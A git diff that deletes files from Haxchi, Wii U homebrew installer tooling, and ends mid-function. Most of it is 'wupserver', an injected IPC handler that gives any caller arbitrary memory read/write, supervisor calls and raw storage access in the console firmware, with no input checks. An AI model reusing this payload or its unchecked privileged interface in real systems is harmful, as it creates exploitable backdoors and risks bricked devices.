b/release/haxchi/iconTex.tga deleted file mode 100644 index 9c3b47a..0000000 Binary files a/release/haxchi/iconTex.tga and /dev/null differ diff --git a/release/haxchi/title.txt b/release/haxchi/title.txt deleted file mode 100644 index 2235eeb..0000000 --- a/release/haxchi/title.txt +++ /dev/null @@ -1 +0,0 @@ -Haxchi \ No newline at end of file diff --git a/release/wiiu/apps/cbhc/icon.png b/release/wiiu/apps/cbhc/icon.png deleted file mode 100644 index 7aeda93..0000000 Binary files a/release/wiiu/apps/cbhc/icon.png and /dev/null differ diff --git a/release/wiiu/apps/cbhc/meta.xml b/release/wiiu/apps/cbhc/meta.xml deleted file mode 100644 index e3a2d3b..0000000 --- a/release/wiiu/apps/cbhc/meta.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - CBHC - FIX94 - 1.6 - https://github.com/FIX94/haxchi - 20170113200000 - Coldboot Haxchi Installer - WARNING! This will install Coldboot Haxchi on your system. -ONLY USE THIS IF YOU ARE WILLING TO TAKE A RISK OF BRICKING YOUR CONSOLE. - - \ No newline at end of file diff --git a/release/wiiu/apps/haxchi/icon.png b/release/wiiu/apps/haxchi/icon.png deleted file mode 100644 index 45319a4..0000000 Binary files a/release/wiiu/apps/haxchi/icon.png and /dev/null differ diff --git a/release/wiiu/apps/haxchi/meta.xml b/release/wiiu/apps/haxchi/meta.xml deleted file mode 100644 index c921bc3..0000000 --- a/release/wiiu/apps/haxchi/meta.xml +++ /dev/null @@ -1,11 +0,0 @@ - - - Haxchi - FIX94 - 2.5u2 - https://github.com/FIX94/haxchi - 20170113200000 - Haxchi Installer - This will install Haxchi on your system. - - \ No newline at end of file diff --git a/wupserver/Makefile b/wupserver/Makefile deleted file mode 100644 index 1bb45f7..0000000 --- a/wupserver/Makefile +++ /dev/null @@ -1,76 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=c99 -mcpu=arm926ej-s -Os -s -mthumb -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=ccd00.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.*) -OFILES = $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -OFILES += $(BINFILES:data/%=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) libgcc.a - -clean: - @rm -f build/*.o build/*.d - @rmdir build 2>/nul; true - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) - -build/%.tga.o: data/%.tga - @echo $(notdir $<) - @$(bin2o) diff --git a/wupserver/ccd00.ld b/wupserver/ccd00.ld deleted file mode 100644 index a0187bc..0000000 --- a/wupserver/ccd00.ld +++ /dev/null @@ -1,22 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x0510E570, LENGTH = 0x00015BC - RAMRW (rw!i) : ORIGIN = 0x05089780, LENGTH = 0x00001F00 -} - -SECTIONS -{ - .text : { - build/crt0.o(.init) - *(.text) - *(.rodata) - } - - .bss : { - _bss_start = .; - *(.bss); - } - _bss_end = .; -} diff --git a/wupserver/ccd00.specs b/wupserver/ccd00.specs deleted file mode 100644 index ccff243..0000000 --- a/wupserver/ccd00.specs +++ /dev/null @@ -1,4 +0,0 @@ -%rename link old_link - -*link: -%(old_link) -T ./ccd00.ld%s diff --git a/wupserver/libgcc.a b/wupserver/libgcc.a deleted file mode 100644 index b8beee7..0000000 Binary files a/wupserver/libgcc.a and /dev/null differ diff --git a/wupserver/source/crt0.s b/wupserver/source/crt0.s deleted file mode 100644 index 2a8d596..0000000 --- a/wupserver/source/crt0.s +++ /dev/null @@ -1,17 +0,0 @@ -.section ".init" -.arm -.align 4 - -.globl _start - -.extern ipc_thread -.type ipc_thread, %function - -_start: - @wupserver - mov r0, #0 - bl ipc_thread - @jump to original code - ldr r1,[pc] - bx r1 - .word (0x05027954)+1 diff --git a/wupserver/source/fsa.c b/wupserver/source/fsa.c deleted file mode 100644 index 40f0d7d..0000000 --- a/wupserver/source/fsa.c +++ /dev/null @@ -1,451 +0,0 @@ -#include -#include -#include -#include "svc.h" -#include "imports.h" -#include "fsa.h" - -static void* allocIobuf() -{ - void* ptr = svcAlloc(0xCAFF, 0x828); - - memset(ptr, 0x00, 0x828); - - return ptr; -} - -static void freeIobuf(void* ptr) -{ - svcFree(0xCAFF, ptr); -} - -int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len) -{ - u8* iobuf = allocIobuf(); - u8* inbuf8 = iobuf; - u8* outbuf8 = &iobuf[0x520]; - iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; - u32* inbuf = (u32*)inbuf8; - u32* outbuf = (u32*)outbuf8; - - strncpy((char*)&inbuf8[0x04], device_path, 0x27F); - strncpy((char*)&inbuf8[0x284], volume_path, 0x27F); - inbuf[0x504 / 4] = (u32)flags; - inbuf[0x508 / 4] = (u32)arg_string_len; - - iovec[0].ptr = inbuf; - iovec[0].len = 0x520; - iovec[1].ptr = arg_string; - iovec[1].len = arg_string_len; - iovec[2].ptr = outbuf; - iovec[2].len = 0x293; - - int ret = svcIoctlv(fd, 0x01, 2, 1, iovec); - - freeIobuf(iobuf); - return ret; -} - -int FSA_Unmount(int fd, char* path, u32 flags) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - inbuf[0x284 / 4] = flags; - - int ret = svcIoctl(fd, 0x02, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_FlushVolume(int fd, char* volume_path) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], volume_path, 0x27F); - - int ret = svcIoctl(fd, 0x1B, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_MakeDir(int fd, char* path, u32 flags) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - inbuf[0x284 / 4] = flags; - - int ret = svcIoctl(fd, 0x07, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_OpenDir(int fd, char* path, int* outHandle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - - int ret = svcIoctl(fd, 0x0A, inbuf, 0x520, outbuf, 0x293); - - if(outHandle) *outHandle = outbuf[1]; - - freeIobuf(iobuf); - return ret; -} - -int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = handle; - - int ret = svcIoctl(fd, 0x0B, inbuf, 0x520, outbuf, 0x293); - - if(out_data) memcpy(out_data, &outbuf[1], sizeof(directoryEntry_s)); - - freeIobuf(iobuf); - return ret; -} - -int FSA_RewindDir(int fd, int handle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = handle; - - int ret = svcIoctl(fd, 0x0C, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_CloseDir(int fd, int handle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = handle; - - int ret = svcIoctl(fd, 0x0D, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_ChangeDir(int fd, char* path) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - - int ret = svcIoctl(fd, 0x05, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - strncpy((char*)&inbuf[0xA1], mode, 0x10); - - int ret = svcIoctl(fd, 0x0E, inbuf, 0x520, outbuf, 0x293); - - if(outHandle) *outHandle = outbuf[1]; - - freeIobuf(iobuf); - return ret; -} - -int _FSA_ReadWriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags, bool read) -{ - u8* iobuf = allocIobuf(); - u8* inbuf8 = iobuf; - u8* outbuf8 = &iobuf[0x520]; - iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; - u32* inbuf = (u32*)inbuf8; - u32* outbuf = (u32*)outbuf8; - - inbuf[0x08 / 4] = size; - inbuf[0x0C / 4] = cnt; - inbuf[0x14 / 4] = fileHandle; - inbuf[0x18 / 4] = flags; - - iovec[0].ptr = inbuf; - iovec[0].len = 0x520; - - iovec[1].ptr = data; - iovec[1].len = size * cnt; - - iovec[2].ptr = outbuf; - iovec[2].len = 0x293; - - int ret; - if(read) ret = svcIoctlv(fd, 0x0F, 1, 2, iovec); - else ret = svcIoctlv(fd, 0x10, 2, 1, iovec); - - freeIobuf(iobuf); - return ret; -} - -int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags) -{ - return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, true); -} - -int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags) -{ - return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, false); -} - -int FSA_StatFile(int fd, int handle, fileStat_s* out_data) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = handle; - - int ret = svcIoctl(fd, 0x14, inbuf, 0x520, outbuf, 0x293); - - if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s)); - - freeIobuf(iobuf); - return ret; -} - -int FSA_CloseFile(int fd, int fileHandle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = fileHandle; - - int ret = svcIoctl(fd, 0x15, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_SetPosFile(int fd, int fileHandle, u32 position) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = fileHandle; - inbuf[2] = position; - - int ret = svcIoctl(fd, 0x12, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_GetStat(int fd, char *path, fileStat_s* out_data) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - inbuf[0x284/4] = 5; - - int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293); - - if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s)); - - freeIobuf(iobuf); - return ret; -} - -int FSA_Remove(int fd, char *path) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - - int ret = svcIoctl(fd, 0x08, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -int FSA_ChangeMode(int fd, char *path, int mode) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], path, 0x27F); - inbuf[0x284/4] = mode; - inbuf[0x288/4] = 0x777; // mask - - int ret = svcIoctl(fd, 0x20, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -// type 4 : -// 0x08 : device size in sectors (u64) -// 0x10 : device sector size (u32) -int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], device_path, 0x27F); - inbuf[0x284 / 4] = type; - - int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293); - - int size = 0; - - switch(type) - { - case 0: case 1: case 7: - size = 0x8; - break; - case 2: - size = 0x4; - break; - case 3: - size = 0x1E; - break; - case 4: - size = 0x28; - break; - case 5: - size = 0x64; - break; - case 6: case 8: - size = 0x14; - break; - } - - memcpy(out_data, &outbuf[1], size); - - freeIobuf(iobuf); - return ret; -} - -int FSA_RawOpen(int fd, char* device_path, int* outHandle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - strncpy((char*)&inbuf[0x01], device_path, 0x27F); - - int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293); - - if(outHandle) *outHandle = outbuf[1]; - - freeIobuf(iobuf); - return ret; -} - -int FSA_RawClose(int fd, int device_handle) -{ - u8* iobuf = allocIobuf(); - u32* inbuf = (u32*)iobuf; - u32* outbuf = (u32*)&iobuf[0x520]; - - inbuf[1] = device_handle; - - int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293); - - freeIobuf(iobuf); - return ret; -} - -// offset in blocks of 0x1000 bytes -int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) -{ - u8* iobuf = allocIobuf(); - u8* inbuf8 = iobuf; - u8* outbuf8 = &iobuf[0x520]; - iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; - u32* inbuf = (u32*)inbuf8; - u32* outbuf = (u32*)outbuf8; - - // note : offset_bytes = blocks_offset * size_bytes - inbuf[0x08 / 4] = (blocks_offset >> 32); - inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); - inbuf[0x10 / 4] = cnt; - inbuf[0x14 / 4] = size_bytes; - inbuf[0x18 / 4] = device_handle; - - iovec[0].ptr = inbuf; - iovec[0].len = 0x520; - - iovec[1].ptr = data; - iovec[1].len = size_bytes * cnt; - - iovec[2].ptr = outbuf; - iovec[2].len = 0x293; - - int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec); - - freeIobuf(iobuf); - return ret; -} - -int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) -{ - u8* iobuf = allocIobuf(); - u8* inbuf8 = iobuf; - u8* outbuf8 = &iobuf[0x520]; - iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; - u32* inbuf = (u32*)inbuf8; - u32* outbuf = (u32*)outbuf8; - - inbuf[0x08 / 4] = (blocks_offset >> 32); - inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); - inbuf[0x10 / 4] = cnt; - inbuf[0x14 / 4] = size_bytes; - inbuf[0x18 / 4] = device_handle; - - iovec[0].ptr = inbuf; - iovec[0].len = 0x520; - - iovec[1].ptr = data; - iovec[1].len = size_bytes * cnt; - - iovec[2].ptr = outbuf; - iovec[2].len = 0x293; - - int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec); - - freeIobuf(iobuf); - return ret; -} diff --git a/wupserver/source/fsa.h b/wupserver/source/fsa.h deleted file mode 100644 index 88366bf..0000000 --- a/wupserver/source/fsa.h +++ /dev/null @@ -1,60 +0,0 @@ -#ifndef FSA_H -#define FSA_H - -typedef struct -{ - u32 flag; - u32 permission; - u32 owner_id; - u32 group_id; - u32 size; // size in bytes - u32 physsize; // physical size on disk in bytes - u32 unk[3]; - u32 id; - u32 ctime; - u32 mtime; - u32 unk2[0x0D]; -}fileStat_s; - -typedef struct -{ - fileStat_s stat; - char name[0x100]; -}directoryEntry_s; - -#define DIR_ENTRY_IS_DIRECTORY 0x80000000 - -#define FSA_MOUNTFLAGS_BINDMOUNT (1 << 0) -#define FSA_MOUNTFLAGS_GLOBAL (1 << 1) - -int FSA_Open(); - -int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len); -int FSA_Unmount(int fd, char* path, u32 flags); -int FSA_FlushVolume(int fd, char* volume_path); - -int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data); - -int FSA_MakeDir(int fd, char* path, u32 flags); -int FSA_OpenDir(int fd, char* path, int* outHandle); -int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data); -int FSA_RewindDir(int fd, int handle); -int FSA_CloseDir(int fd, int handle); -int FSA_ChangeDir(int fd, char* path); - -int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle); -int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); -int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); -int FSA_StatFile(int fd, int handle, fileStat_s* out_data); -int FSA_CloseFile(int fd, int fileHandle); -int FSA_SetPosFile(int fd, int fileHandle, u32 position); -int FSA_GetStat(int fd, char *path, fileStat_s* out_data); -int FSA_Remove(int fd, char *path); -int FSA_ChangeMode(int fd, char *path, int mode); - -int FSA_RawOpen(int fd, char* device_path, int* outHandle); -int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); -int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); -int FSA_RawClose(int fd, int device_handle); - -#endif diff --git a/wupserver/source/imports.c b/wupserver/source/imports.c deleted file mode 100644 index ef04ead..0000000 --- a/wupserver/source/imports.c +++ /dev/null @@ -1,50 +0,0 @@ -#include "imports.h" - -void usleep(u32 time) -{ - ((void (*const)(u32))0x050564E4)(time); -} - -void* memset(void* dst, int val, size_t size) -{ - char* _dst = dst; - - int i; - for(i = 0; i < size; i++) _dst[i] = val; - - return dst; -} - -void* (*const _memcpy)(void* dst, void* src, int size) = (void*)0x05054E54; - -void* memcpy(void* dst, const void* src, size_t size) -{ - return _memcpy(dst, (void*)src, size); -} -/* -int strlen(const char* str) -{ - unsigned int i = 0; - while (str[i]) { - i++; - } - return i; -} -*/ -char* strncpy(char* dst, const char* src, size_t size) -{ - int i; - for(i = 0; i < size; i++) - { - dst[i] = src[i]; - if(src[i] == '\0') return dst; - } - - return dst; -} -/* -int vsnprintf(char * s, size_t n, const char * format, va_list arg) -{ - return ((int (*const)(char*, size_t, const char *, va_list))0x05055C40)(s, n, format, arg); -} -*/ \ No newline at end of file diff --git a/wupserver/source/imports.h b/wupserver/source/imports.h deleted file mode 100644 index 72ee497..0000000 --- a/wupserver/source/imports.h +++ /dev/null @@ -1,12 +0,0 @@ -#ifndef IMPORTS_H -#define IMPORTS_H - -#include -#include -#include "types.h" - -#define MCP_SVC_BASE ((void*)0x050567EC) - -void usleep(u32 time); - -#endif diff --git a/wupserver/source/ipc.c b/wupserver/source/ipc.c deleted file mode 100644 index cc70a3f..0000000 --- a/wupserver/source/ipc.c +++ /dev/null @@ -1,496 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include -#include -#include -#include "imports.h" -#include "fsa.h" -#include "svc.h" -//#include "text.h" -//#include "logger.h" -#include "fsa.h" - -#define IOSUHAX_MAGIC_WORD 0x4E696365 -#define IOS_ERROR_UNKNOWN_VALUE 0xFFFFFFD6 -#define IOS_ERROR_INVALID_ARG 0xFFFFFFE3 -#define IOS_ERROR_INVALID_SIZE 0xFFFFFFE9 -#define IOS_ERROR_UNKNOWN 0xFFFFFFF7 -#define IOS_ERROR_NOEXISTS 0xFFFFFFFA - -#define IOCTL_MEM_WRITE 0x00 -#define IOCTL_MEM_READ 0x01 -#define IOCTL_SVC 0x02 -#define IOCTL_MEMCPY 0x04 -#define IOCTL_REPEATED_WRITE 0x05 -#define IOCTL_KERN_READ32 0x06 -#define IOCTL_KERN_WRITE32 0x07 - -#define IOCTL_FSA_OPEN 0x40 -#define IOCTL_FSA_CLOSE 0x41 -#define IOCTL_FSA_MOUNT 0x42 -#define IOCTL_FSA_UNMOUNT 0x43 -#define IOCTL_FSA_GETDEVICEINFO 0x44 -#define IOCTL_FSA_OPENDIR 0x45 -#define IOCTL_FSA_READDIR 0x46 -#define IOCTL_FSA_CLOSEDIR 0x47 -#define IOCTL_FSA_MAKEDIR 0x48 -#define IOCTL_FSA_OPENFILE 0x49 -#define IOCTL_FSA_READFILE 0x4A -#define IOCTL_FSA_WRITEFILE 0x4B -#define IOCTL_FSA_STATFILE 0x4C -#define IOCTL_FSA_CLOSEFILE 0x4D -#define IOCTL_FSA_SETFILEPOS 0x4E -#define IOCTL_FSA_GETSTAT 0x4F -#define IOCTL_FSA_REMOVE 0x50 -#define IOCTL_FSA_REWINDDIR 0x51 -#define IOCTL_FSA_CHDIR 0x52 -#define IOCTL_FSA_RENAME 0x53 -#define IOCTL_FSA_RAW_OPEN 0x54 -#define IOCTL_FSA_RAW_READ 0x55 -#define IOCTL_FSA_RAW_WRITE 0x56 -#define IOCTL_FSA_RAW_CLOSE 0x57 -#define IOCTL_FSA_CHANGEMODE 0x58 -#define IOCTL_FSA_FLUSHVOLUME 0x59 -#define IOCTL_CHECK_IF_IOSUHAX 0x5B - -//static u8 threadStack[0x1000] __attribute__((aligned(0x20))); - -static int ipc_ioctl(ipcmessage *message) -{ - int res = 0; - - switch(message->ioctl.command) - { - case IOCTL_MEM_WRITE: - { - if(message->ioctl.length_in < 4) - { - res = IOS_ERROR_INVALID_SIZE; - } - else - { - memcpy((void*)message->ioctl.buffer_in[0], message->ioctl.buffer_in + 1, message->ioctl.length_in - 4); - } - break; - } - case IOCTL_MEM_READ: - { - if(message->ioctl.length_in < 4) - { - res = IOS_ERROR_INVALID_SIZE; - } - else - { - memcpy(message->ioctl.buffer_io, (void*)message->ioctl.buffer_in[0], message->ioctl.length_io); - } - break; - } - case IOCTL_SVC: - { - if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) - { - res = IOS_ERROR_INVALID_SIZE; - } - else - { - int svc_id = message->ioctl.buffer_in[0]; - int size_arguments = message->ioctl.length_in - 4; - - u32 arguments[8]; - memset(arguments, 0x00, sizeof(arguments)); - memcpy(arguments, message->ioctl.buffer_in + 1, (size_arguments < 8 * 4) ? size_arguments : (8 * 4)); - - // return error code as data - message->ioctl.buffer_io[0] = ((int (*const)(u32, u32, u32, u32, u32, u32, u32, u32))(MCP_SVC_BASE + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6], arguments[7]); - } - break; - } - case IOCTL_MEMCPY: - { - if(message->ioctl.length_in < 12) - { - res = IOS_ERROR_INVALID_SIZE; - } - else - { - memcpy((void*)message->ioctl.buffer_in[0], (void*)message->ioctl.buffer_in[1], message->ioctl.buffer_in[2]); - } - break; - } - /*case IOCTL_REPEATED_WRITE: - { - if(message->ioctl.length_in < 12) - { - res = IOS_ERROR_INVALID_SIZE; - } - else - { - u32* dst = (u32*)message->ioctl.buffer_in[0]; - u32* cache_range = (u32*)(message->ioctl.buffer_in[0] & ~0xFF); - u32 value = message->ioctl.buffer_in[1]; - u32 n = message->ioctl.buffer_in[2]; - - u32 old = *dst; - int i; - for(i = 0; i < n; i++) - { - if(*dst != old) - { - if(*dst == 0x0) old = *dst; - else - { - *dst = value; - svcFlushDCache(cache_range, 0x100); - break; - } - }else - { - svcInvalidateDCache(cache_range, 0x100); - usleep(50); - } - } - } - break; - } - case IOCTL_KERN_READ32: - { - if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) - { - res = IOS_ERROR_INVALID_SIZE; - } - else - { - for(u32 i = 0; i < (message->ioctl.length_io/4); i++) - { - message->ioctl.buffer_io[i] = svcRead32(message->ioctl.buffer_in[0] + i * 4); - } - } - break; - } - case IOCTL_KERN_WRITE32: - { - //! TODO: add syscall as on kern_read32 - res = IOS_ERROR_NOEXISTS; - break; - }*/ - //!-------------------------------------------------------------------------------------------------------------- - //! FSA handles for better performance - //!-------------------------------------------------------------------------------------------------------------- - //! TODO: add checks for i/o buffer length - case IOCTL_FSA_OPEN: - { - // points to "/dev/fsa" string in mcp data section - message->ioctl.buffer_io[0] = svcOpen((char*)0x0506963C, 0); - break; - } - case IOCTL_FSA_CLOSE: - { - int fd = message->ioctl.buffer_in[0]; - message->ioctl.buffer_io[0] = svcClose(fd); - break; - } - case IOCTL_FSA_MOUNT: - { - int fd = message->ioctl.buffer_in[0]; - char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - char *volume_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; - u32 flags = message->ioctl.buffer_in[3]; - char *arg_string = (message->ioctl.buffer_in[4] > 0) ? (((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[4]) : 0; - int arg_string_len = message->ioctl.buffer_in[5]; - - message->ioctl.buffer_io[0] = FSA_Mount(fd, device_path, volume_path, flags, arg_string, arg_string_len); - break; - } - case IOCTL_FSA_UNMOUNT: - { - int fd = message->ioctl.buffer_in[0]; - char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - u32 flags = message->ioctl.buffer_in[2]; - - message->ioctl.buffer_io[0] = FSA_Unmount(fd, device_path, flags); - break; - } - case IOCTL_FSA_FLUSHVOLUME: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_FlushVolume(fd, path); - break; - } - case IOCTL_FSA_GETDEVICEINFO: - { - int fd = message->ioctl.buffer_in[0]; - char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - int type = message->ioctl.buffer_in[2]; - - message->ioctl.buffer_io[0] = FSA_GetDeviceInfo(fd, device_path, type, message->ioctl.buffer_io + 1); - break; - } - case IOCTL_FSA_OPENDIR: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_OpenDir(fd, path, (int*)message->ioctl.buffer_io + 1); - break; - } - case IOCTL_FSA_READDIR: - { - int fd = message->ioctl.buffer_in[0]; - int handle = message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_ReadDir(fd, handle, (directoryEntry_s*)(message->ioctl.buffer_io + 1)); - break; - } - case IOCTL_FSA_CLOSEDIR: - { - int fd = message->ioctl.buffer_in[0]; - int handle = message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_CloseDir(fd, handle); - break; - } - case IOCTL_FSA_MAKEDIR: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - u32 flags = message->ioctl.buffer_in[2]; - - message->ioctl.buffer_io[0] = FSA_MakeDir(fd, path, flags); - break; - } - case IOCTL_FSA_OPENFILE: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - char *mode = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; - - message->ioctl.buffer_io[0] = FSA_OpenFile(fd, path, mode, (int*)message->ioctl.buffer_io + 1); - break; - } - case IOCTL_FSA_READFILE: - { - int fd = message->ioctl.buffer_in[0]; - u32 size = message->ioctl.buffer_in[1]; - u32 cnt = message->ioctl.buffer_in[2]; - int fileHandle = 